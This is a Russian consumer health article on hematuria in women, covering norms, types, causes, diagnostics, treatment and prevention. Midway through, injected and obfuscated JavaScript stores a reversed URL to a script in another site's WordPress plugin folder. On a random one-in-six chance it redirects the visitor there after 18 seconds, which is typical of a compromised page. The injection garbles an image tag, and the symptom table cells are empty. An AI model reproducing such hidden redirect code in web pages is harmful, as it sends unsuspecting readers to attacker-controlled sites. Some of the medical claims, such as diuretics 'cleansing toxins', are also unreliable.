Кровь в моче — тревожный симптом, который должен насторожить каждую женщину. Однако многие представительницы слабого пола игнорируют проблему и пренебрегают элементарным медицинским обследованием. А между тем кровь в моче может указывать на развитие опасных и тяжёлых заболеваний в организме, требующих своевременного лечения.
Содержание
Норма эритроцитов в моче у женщин
Эритроциты — клетки крови, которые насыщают кислородом ткани организма. Кровь поступает в почки и проходит там процесс фильтрации, во время которого образуется моча. При нормальной работе нефронов (почечных элементов) эритроциты не способны проникнуть в урину. Лишь единичные эритроциты могут попасть в мочу с поверхности женских половых органов. Поэтому нормальный показатель содержания эритроцитов в общем анализе моче у женщины — до трёх единиц в зоне видимого обзора при исследовании биологического материала под микроскопом.
Что такое гематурия
Гематурия характеризуется повышенным содержанием эритроцитов в моче. Само по себе явление не считается в медицине отдельным заболеванием, однако требует тщательной диагностики для выявления причин отклонения показателя от нормы.
Виды патологии
В зависимости от количества эритроцитов в моче гематурия у женщин подразделяется на следующие виды:
- микрогематурия. Эритроциты в это случае превышают норму, однако зафиксировать это можно только при исследовании урины под микроскопом;
- макрогематурия. Количество клеток крови в моче настолько велико, что гематурию может заметить сам пациент при мочеиспускании. Цвет мочи при макрогематурии варьируется от светло-розового до тёмно-красного. А также в урине могут появиться сгустки крови.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/10/post_5bc24a0c90a7b-728×546.jpg» alt=»Макрогематурия» width=»728″ height=»546″ /> При макрогематурии моча приобретает красный цвет
Однако не всегда красная окраска мочи говорит о макрогематурии. Урина может покраснеть вследствие употребления свеклы, а также использования некоторых медикаментов: Аспирина, Анальгина, витаминов группы В.
Исходя из причин появления, гематурия бывает:
- физиологическая. Не является следствием заболеваний. Этот вид гематурии вызывают такие факторы:
- избыточное воздействие на человека ультрафиолета при длительном пребывании на солнце или частом посещении солярия;
- употребление жареных, солёных, копчёных продуктов;
- сильная физическая нагрузка, подъём тяжёлых предметов;
- посещение бани или сауны.
- патологическая. Развивается в результате различных болезней.
Причины патологической гематурии у женщин и сопутствующая симптоматика
Дополнительные признаки, сопровождающие гематурию, могут указывать не те или иные заболевания организма.
Гематурия — результат заболеваний мочевыделительной системы
В большинстве случаев кровь в моче у женщин вызывают патологии органов мочевыделительной системы:
- почек;
- мочеточников;
- мочевого пузыря;
- уретры (мочеиспускательного канала).
Таблица: болезни мочевыделительной системы, вызывающие кровь в моче, и их признаки
| Название заболевания | Суть медицинского термина | Симптомы |
| Гломерулонефрит | Поражение почечных клубочков |
|
| Острый пиелонефрит | Воспалительный процесс, поражающий важные почечные структуры: чашечно-лоханочную систему, паренхиму |
|
| Мочекаменная болезнь | Образование камней в почках |
|
| Почечная колика | Тяжёлое состояние пациента, вызванное застреванием почечного камня в мочеточнике |
|
| Онкология мочевыделительной системы | Опухоли злокачественного характера | Очень часто онкология мочевыводящих путей протекает бессимптомно и гематурия является единственным «ярким» признаком заболевания |
| Гидронефроз почки | Увеличение параметров чашечно-лоханочной системы почки |
|
| Цистит | Инфекционный процесс в мочеиспускательном канале |
|
| Уретрит | Воспаление уретры |
|
| Уретероцеле | Киста мочеточника |
|
| Поликистоз | Формирование кист различного размера в мозговом и корковом веществе почки |
|
Фотогалерея: патологии мочевыделительной системы, при которых появляется гематурия
-
- Лабораторные методы исследования — основа диагностики при гематурии
-
- Анализ мочи по Нечипоренко точно определяет степень гематурии
-
- Заболевания органов мочевыделительной системы — основная причина гематурии у женщин
-
- Подъём тяжестей может вызвать у женщины функциональную гематурию
-
- При макрогематурии моча приобретает красный цвет
-
- Эритроциты в осадке мочи можно обнаружить при помощи микроскопа
-
- Особенность поликистоза — многочисленные кисты в почке
-
- При остром пиелонефрите в почке возникают гнойные очаги воспаления
-
- Гломерулонефрит характеризуется снижением функции почечных клубочков
-
- При цистите происходит воспаление мочевого пузыря
-
- Амоксициллин — антибиотик, применяемый при лечении инфекционных заболеваний, вызвавших гематурию
Другие причины гематурии
Кроме заболеваний мочевыделительной системы гематурию у женщин могут спровоцировать следующие факторы:
- травмы мочеполовой сферы;
- патологии крови:
- лейкоз — онкологическое заболевание крови. Признаки: головные боли; отёк слизистой носоглотки; частичная атрофия мышц; слезоточивость; образование синяков и гематом на теле и лице даже при слабом механическом воздействии; повышенная потливость; увеличение лимфоузлов в подмышечной и паховой области; спонтанные кровотечения из носа, матки; нарушение менструального цикла; увеличение параметров печени и селезёнки;
- болезнь Верльгофа. Характеризуется нарушением свёртываемости крови. Симптомы: частые кровотечения из носа, кишечника, матки; тошнота и рвота; образование на теле многочисленных мелких гематом; обильные месячные;
- острые инфекционные болезни:
- скарлатина — заболевание, вызываемой стрептококком группы А. Признаки: высокая температура тела (38 градусов и больше), тошнота, обильная рвота, болевой синдром в голове, появление мелких прыщиков по всему телу, зуд и шелушение кожного покрова;
- сепсис — заражение крови. Заболевание сопровождается острой симптоматикой: лихорадкой, судорогами рук и ног, пожелтением кожи, появлением гнойников по всему телу, рвотой. Болезнь часто заканчивается летальным исходом пациента.
Видео: кровь в моче у женщин
Почему появляется кровь в моче у беременных
У беременных патологическая гематурия появляется по тем же причинам, что и у остальных женщин. Дополнительными факторами для развития физиологической гематурии являются:
- сдавливание растущей маткой органов мочевыделительной системы;
- повышенная выработка прогестерона и других гормонов;
- высокое внутрибрюшное давление.
Гематурия, вызванная физиологическими изменениями в организме беременной, не представляет угрозы и называется идиопатической.
Какими бы ни были причины гематурии, при обнаружении крови в моче беременная должна срочно пройти медицинское обследование.
Диагностика
При появлении крови в моче следует обратиться к терапевту. После проведения медицинского обследования могут понадобиться консультации других специалистов:
- уролога;
- нефролога;
- онколога;
- гинеколога.
При диагностике гематурии у женщин применяются лабораторные методы исследования:
- общий анализ мочи. Определяет уровень сахара, белка, билирубина, кетоновых тел в моче. А также оценивается цвет, консистенция, пенистость урины. Микроскопическое исследование выявляет содержание лейкоцитов, эритроцитов и эпителиальных клеток в биологическом материале;
- анализ мочи по Нечипоренко. Определяет количество лейкоцитов, эритроцитов и цилиндров в 1 мл урины. Позволяет уточнить степень гематурии;
- метод Амбурже. Анализ предоставляет информацию о числе эритроцитов и лейкоцитов, выделяемых с уриной за одну минуту. Как и анализ по Нечипоренко, метод Амбурже необходим для определения выраженности гематурии;
- анализ мочи по Зимницкому. Назначается при подозрении на воспалительные процессы в почках. Моча собирается пациентом на протяжении суток раз в 3 часа. Каждое мочеиспускание производится в отдельный контейнер. Анализ помогает оценить способность почек концентрировать урину и выводить её из организма;
- бактериологическое исследование мочи. Проводится при инфекционном поражении органов мочевыделительной системы. Определяет возбудителя воспаления;
- общий анализ крови. Выявляет уровень гемоглобина, эритроцитов, лейкоцитов в крови;
- биохимический анализ крови. Необходим для оценки работы внутренних органов пациента. Исследуемы параметры: глюкоза, холестерин, креатинин, мочевина.
Сдавать анализ мочи женщинам следует не ранее, чем через неделю после окончания месячных. В противном случае в ёмкость для сбора урины может попасть кровь из влагалища.
Для уточнения диагноза применяются инструментальные способы диагностики:
- ультразвуковое исследование органов мочевыделительной системы. Метод с высокой точностью способен определить причину гематурии. УЗИ выявляет почечные конкременты, злокачественные опухоли, кисты, гнойные очаги;
- экскреторная урография — рентгенография почек с применением контрастного вещества. Проводится для изучения сосудов органа. Контрастное вещество вводится внутривенно и с током крови распространяется по организму, далее попадает в почки и выводится через мочеточники. Через 10–15 минут после введения контраста выполняется рентгенография. Контрастное вещество позволяет усилить визуализацию сосудов на снимке;
- компьютерная томография брюшной полости. Во время исследования выполняются послойные снимки органов, что даёт возможность выявить даже скрытые патологии;
- цитоскопия — исследование мочевого пузыря. Проводится при помощи цитоскопа (гибкой трубки, оснащённой осветительным оборудованием), который вводится через уретру.
При обследовании беременных применяется ультразвуковое исследование — наиболее безопасный способ диагностики для будущей матери и плода.
Лечение
При лечении гематурии у женщин в основном применется медикаментозное лечение. В редких и запущенных ситуациях используется оперативное вмешательство.
Применение медикаментов
Лечащий врач для устранения гематурии может назначить такие медикаменты:
- антибиотики (Амоксициллин, Цефазолин). Применяются при инфекционных заболеваниях. Губительно действуют на болезнетворные микробы;
- мочегонные средства (Верошпирон, Фуросемид). Назначаются при цистите, пиелонефрите. Увеличивают суточный диурез, очищают почки от токсинов и бактерий;
- спазмолитики (Папаверин, Но-шпа). Принимаются для снижения болевой симптоматики;
- жаропонижающие средства (Парацетамол, Панадол);
- препараты железа (Тотема, Гемофер). Используются при лечении заболеваний крови.
Хирургическое вмешательство
Хирургическое лечение применяется в тяжёлых ситуациях, когда консервативные методы лечения не помогают:
- при абсцессе почки — осложнении пиелонефрита. Абсцесс представляет собой полость, заполненную гноем. В ходе операции разрезается фиброзная капсула почки, абсцесс вскрывается и очищается от патологического содержимого. В почку устанавливается дренаж для дальнейшего оттока гноя;
- если в мочеточнике застрял крупный конкремент. Производится разрез стенки мочеточника над камнем, конкремент удаляется;
- при злокачественных образованиях в мочеполовой сфере. Опухоли иссекаются «с запасом», так как раковые клетки могут встречаться за пределами злокачественного образования. Хирургическое лечение дополняет химиотерапия.
Прогноз лечения и возможные осложнения
Прогноз лечения гематурии зависит от степени развития заболевания, которое спровоцировало появление крови в моче. Чем раньше пациент обратится за помощью к специалисту, тем более быстрым и лёгким будет процесс выздоровления.
Опасна хроническая гематурия, которая может стать причиной анемии (низкого уровня гемоглобина в крови) у пациента. Состояние сопровождается слабостью, снижением артериального давления, нарушением работы сердечно-сосудистой системы.
При беременности гематурия может вызвать такие осложнения:
- гипоксию (кислородное голодание) плода;
- самопроизвольный выкидыш;
- преждевременные роды.
Профилактика
Чтобы снизить риск развития гематурии, придерживайтесь рекомендаций:
- избегайте переохлаждения;
- регулярно проходите профилактические медицинские осмотры;
- откажитесь от вредных привычек, которые губительно действуют на иммунитет;
- ведите активный образ жизни. Физическая активность улучшает метаболизм, укрепляет защитные силы организма;
- вовремя лечите все инфекционные процессы.
При обнаружении крови в моче обязательно посетите специалиста и пройдите необходимое обследование. Ведь любое заболевание проще лечить на начальном этапе развития, чем в запущенном состоянии.
